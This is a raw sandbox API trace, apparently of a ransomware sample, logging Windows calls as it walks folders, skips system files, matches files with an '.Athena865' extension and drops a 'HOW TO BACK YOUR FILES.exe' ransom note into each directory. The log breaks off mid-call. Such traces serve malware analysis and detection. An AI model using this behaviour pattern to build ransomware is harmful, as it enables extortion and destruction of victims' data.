lpString1="B6lAo1oUZJ4n11zTi\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe") returned="B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe" [0102.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\B6lAo1oUZJ4n11zTi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\al9qesveumbs\\b6lao1ouzj4n11zti\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.334] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257948a0, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0xb53b2240, ftLastAccessTime.dwHighDateTime=0x1d4c6ec, ftLastWriteTime.dwLowDateTime=0xe4067600, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5c60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ePM0n-.ots.Athena865", cAlternateFileName="EPM0N-~1.ATH")) returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2=".") returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="..") returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="windows") returned -1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="bootmgr") returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="temp") returned -1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="pagefile.sys") returned -1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="boot") returned 1 [0102.334] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="ids.txt") returned -1 [0102.335] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="ntuser.dat") returned -1 [0102.335] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="perflogs") returned -1 [0102.335] lstrcmpiW (lpString1="ePM0n-.ots.Athena865", lpString2="MSBuild") returned -1 [0102.335] lstrlenW (lpString="ePM0n-.ots.Athena865") returned 20 [0102.335] lstrcpyW (in: lpString1=0x241e8da, lpString2="ePM0n-.ots.Athena865" | out: lpString1="ePM0n-.ots.Athena865") returned="ePM0n-.ots.Athena865" [0102.335] lstrlenW (lpString="ePM0n-.ots.Athena865") returned 20 [0102.335] lstrlenW (lpString="Athena865") returned 9 [0102.335] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.335] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ce4140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.335] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.335] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5353e6c0, ftCreationTime.dwHighDateTime=0x1d4c7e6, ftLastAccessTime.dwLowDateTime=0x67f33360, ftLastAccessTime.dwHighDateTime=0x1d4d05b, ftLastWriteTime.dwLowDateTime=0xe414be40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ioqoZduRZvHk.xls.Athena865", cAlternateFileName="IOQOZD~1.ATH")) returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2=".") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="..") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="windows") returned -1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="bootmgr") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="temp") returned -1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="pagefile.sys") returned -1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="boot") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="ids.txt") returned 1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="ntuser.dat") returned -1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="perflogs") returned -1 [0102.335] lstrcmpiW (lpString1="ioqoZduRZvHk.xls.Athena865", lpString2="MSBuild") returned -1 [0102.335] lstrlenW (lpString="ioqoZduRZvHk.xls.Athena865") returned 26 [0102.335] lstrcpyW (in: lpString1=0x241e8da, lpString2="ioqoZduRZvHk.xls.Athena865" | out: lpString1="ioqoZduRZvHk.xls.Athena865") returned="ioqoZduRZvHk.xls.Athena865" [0102.335] lstrlenW (lpString="ioqoZduRZvHk.xls.Athena865") returned 26 [0102.335] lstrlenW (lpString="Athena865") returned 9 [0102.335] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.335] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc05e79d0, ftCreationTime.dwHighDateTime=0x1d4d392, ftLastAccessTime.dwLowDateTime=0x658efa10, ftLastAccessTime.dwHighDateTime=0x1d4cb78, ftLastWriteTime.dwLowDateTime=0xe4198100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nldLqO_alW5J.docx.Athena865", cAlternateFileName="NLDLQO~1.ATH")) returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2=".") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="..") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="windows") returned -1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="bootmgr") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="temp") returned -1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="pagefile.sys") returned -1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="boot") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="ids.txt") returned 1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="ntuser.dat") returned -1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="perflogs") returned -1 [0102.336] lstrcmpiW (lpString1="nldLqO_alW5J.docx.Athena865", lpString2="MSBuild") returned 1 [0102.336] lstrlenW (lpString="nldLqO_alW5J.docx.Athena865") returned 27 [0102.336] lstrcpyW (in: lpString1=0x241e8da, lpString2="nldLqO_alW5J.docx.Athena865" | out: lpString1="nldLqO_alW5J.docx.Athena865") returned="nldLqO_alW5J.docx.Athena865" [0102.336] lstrlenW (lpString="nldLqO_alW5J.docx.Athena865") returned 27 [0102.336] lstrlenW (lpString="Athena865") returned 9 [0102.336] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.336] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef0ab60, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0x238083e0, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0xe41be260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x12e10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmamA.xls.Athena865", cAlternateFileName="XMAMAX~1.ATH")) returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2=".") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="..") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="windows") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="bootmgr") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="temp") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="pagefile.sys") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="boot") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="ids.txt") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="ntuser.dat") returned 1 [0102.336] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="perflogs") returned 1 [0102.337] lstrcmpiW (lpString1="xmamA.xls.Athena865", lpString2="MSBuild") returned 1 [0102.337] lstrlenW (lpString="xmamA.xls.Athena865") returned 19 [0102.337] lstrcpyW (in: lpString1=0x241e8da, lpString2="xmamA.xls.Athena865" | out: lpString1="xmamA.xls.Athena865") returned="xmamA.xls.Athena865" [0102.337] lstrlenW (lpString="xmamA.xls.Athena865") returned 19 [0102.337] lstrlenW (lpString="Athena865") returned 9 [0102.337] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.337] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783a3e0, ftCreationTime.dwHighDateTime=0x1d4cd5c, ftLastAccessTime.dwLowDateTime=0xf0d3abc0, ftLastAccessTime.dwHighDateTime=0x1d4cfd3, ftLastWriteTime.dwLowDateTime=0xe420a520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", cAlternateFileName="_FVLPN~1.ATH")) returned 1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2=".") returned 1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="..") returned 1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="windows") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="bootmgr") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="temp") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="pagefile.sys") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="boot") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="ids.txt") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="ntuser.dat") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="perflogs") returned -1 [0102.337] lstrcmpiW (lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", lpString2="MSBuild") returned -1 [0102.337] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots.Athena865") returned 33 [0102.337] lstrcpyW (in: lpString1=0x241e8da, lpString2="_FVlpnjgIBgAk-YD8Z-.ots.Athena865" | out: lpString1="_FVlpnjgIBgAk-YD8Z-.ots.Athena865") returned="_FVlpnjgIBgAk-YD8Z-.ots.Athena865" [0102.337] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots.Athena865") returned 33 [0102.337] lstrlenW (lpString="Athena865") returned 9 [0102.337] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.337] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x783a3e0, ftCreationTime.dwHighDateTime=0x1d4cd5c, ftLastAccessTime.dwLowDateTime=0xf0d3abc0, ftLastAccessTime.dwHighDateTime=0x1d4cfd3, ftLastWriteTime.dwLowDateTime=0xe420a520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_FVlpnjgIBgAk-YD8Z-.ots.Athena865", cAlternateFileName="_FVLPN~1.ATH")) returned 0 [0102.337] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.337] ReleaseMutex (hMutex=0xec) returned 1 [0102.337] CloseHandle (hObject=0xec) returned 1 [0102.337] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy" [0102.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a490 | out: hHeap=0x4f0000) returned 1 [0102.338] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy") returned 68 [0102.338] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BADB13609085D6EF71D76FC992F128BD") returned 0xec [0102.338] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.338] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy" [0102.338] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.338] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.339] GetLastError () returned 0x0 [0102.339] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.339] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.339] CloseHandle (hObject=0xf4) returned 1 [0102.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.339] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.339] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe42567e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe42567e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.339] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.339] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.339] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe42567e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe42567e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.339] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.339] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.339] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.339] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d56560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.339] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x867f5cf0, ftCreationTime.dwHighDateTime=0x1d4d46b, ftLastAccessTime.dwLowDateTime=0xe420a520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe420a520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRfNNELwdy9r5L", cAlternateFileName="QRFNNE~1")) returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2=".") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="..") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="windows") returned -1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="bootmgr") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="temp") returned -1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="pagefile.sys") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="boot") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="ids.txt") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="ntuser.dat") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="perflogs") returned 1 [0102.340] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="MSBuild") returned 1 [0102.340] lstrlenW (lpString="QRfNNELwdy9r5L") returned 14 [0102.340] lstrcpyW (in: lpString1=0x241e8d2, lpString2="QRfNNELwdy9r5L" | out: lpString1="QRfNNELwdy9r5L") returned="QRfNNELwdy9r5L" [0102.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a490 [0102.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa8) returned 0x512da8 [0102.340] lstrcatW (in: lpString1="QRfNNELwdy9r5L", lpString2="\\" | out: lpString1="QRfNNELwdy9r5L\\") returned="QRfNNELwdy9r5L\\" [0102.340] lstrcatW (in: lpString1="QRfNNELwdy9r5L\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe") returned="QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe" [0102.340] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\qrfnnelwdy9r5l\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.341] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34d26370, ftCreationTime.dwHighDateTime=0x1d4cd09, ftLastAccessTime.dwLowDateTime=0xe420a520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe420a520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rM wPt", cAlternateFileName="RMWPT~1")) returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2=".") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="..") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="windows") returned -1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="bootmgr") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="temp") returned -1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="pagefile.sys") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="boot") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="ids.txt") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="ntuser.dat") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="perflogs") returned 1 [0102.341] lstrcmpiW (lpString1="rM wPt", lpString2="MSBuild") returned 1 [0102.341] lstrlenW (lpString="rM wPt") returned 6 [0102.341] lstrcpyW (in: lpString1=0x241e8d2, lpString2="rM wPt" | out: lpString1="rM wPt") returned="rM wPt" [0102.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a478 [0102.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d7c0 [0102.341] lstrcatW (in: lpString1="rM wPt", lpString2="\\" | out: lpString1="rM wPt\\") returned="rM wPt\\" [0102.341] lstrcatW (in: lpString1="rM wPt\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="rM wPt\\HOW TO BACK YOUR FILES.exe") returned="rM wPt\\HOW TO BACK YOUR FILES.exe" [0102.341] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\rM wPt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\rm wpt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.342] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcf66b30, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0x6f049ec0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0xe4230680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa020, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W4EwJ45n_ pZ8_.doc.Athena865", cAlternateFileName="W4EWJ4~1.ATH")) returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2=".") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="..") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="windows") returned -1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="bootmgr") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="temp") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", 